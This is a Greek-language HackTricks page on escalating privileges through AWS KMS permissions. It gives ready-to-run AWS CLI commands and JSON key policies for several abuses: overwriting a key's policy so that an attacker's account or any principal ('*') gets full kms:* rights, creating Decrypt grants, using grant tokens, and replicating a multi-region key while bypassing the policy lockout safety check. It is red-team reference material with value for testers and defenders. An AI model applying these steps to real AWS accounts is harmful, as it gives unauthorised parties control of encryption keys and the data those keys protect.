AWS - KMS Privesc

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

KMS

Για περισσότερες πληροφορίες σχετικά με το KMS, ελέγξτε:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

Με αυτές τις άδειες είναι δυνατόν να τροποποιηθούν οι δικαιώματα πρόσβασης στο κλειδί έτσι ώστε να μπορεί να χρησιμοποιηθεί από άλλους λογαριασμούς ή ακόμα και από οποιονδήποτε:

aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

{
"Version" : "2012-10-17",
"Id" : "key-consolepolicy-3",
"Statement" : [
{
"Sid" : "Enable IAM User Permissions",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<origin_account>:root"
},
"Action" : "kms:*",
"Resource" : "*"
},
{
"Sid" : "Allow all use",
"Effect" : "Allow",
"Principal" : {
"AWS" : "arn:aws:iam::<attackers_account>:root"
},
"Action" : [ "kms:*" ],
"Resource" : "*"
}
]
}

kms:CreateGrant

Επιτρέπει σε έναν αρχέτυπο να χρησιμοποιήσει ένα κλειδί KMS:

aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

Μια άδεια μπορεί να επιτρέπει μόνο συγκεκριμένους τύπους λειτουργιών: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

Σημειώστε ότι μπορεί να χρειαστούν λίγα λεπτά για να επιτρέψει το KMS στον χρήστη να χρησιμοποιήσει το κλειδί μετά τη δημιουργία της άδειας. Αφού περάσει αυτός ο χρόνος, ο αρχέτυπος μπορεί να χρησιμοποιήσει το KMS κλειδί χωρίς να χρειάζεται να καθορίσει οτιδήποτε. Ωστόσο, αν χρειάζεται να χρησιμοποιηθεί η άδεια αμέσως χρησιμοποιήστε ένα διακριτικό άδειας (ελέγξτε τον παρακάτω κώδικα). Για περισσότερες πληροφορίες διαβάστε αυτό.

# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Σημείωση ότι είναι δυνατόν να καταλογίσετε την χορήγηση κλειδιών με:

aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

Με αυτές τις άδειες είναι δυνατή η αντιγραφή ενός KMS κλειδιού που είναι ενεργοποιημένο για πολλαπλές περιοχές σε μια διαφορετική περιοχή με διαφορετική πολιτική.

Έτσι, ένας επιτιθέμενος μπορεί να καταχραστεί αυτό για να αποκτήσει προνομιούχα πρόσβαση στο κλειδί και να το χρησιμοποιήσει.

aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Αυτή η άδεια επιτρέπει τη χρήση ενός κλειδιού για την αποκρυπτογράφηση ορισμένων πληροφοριών. Για περισσότερες πληροφορίες, ανατρέξτε στο:

AWS - KMS Post Exploitation
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated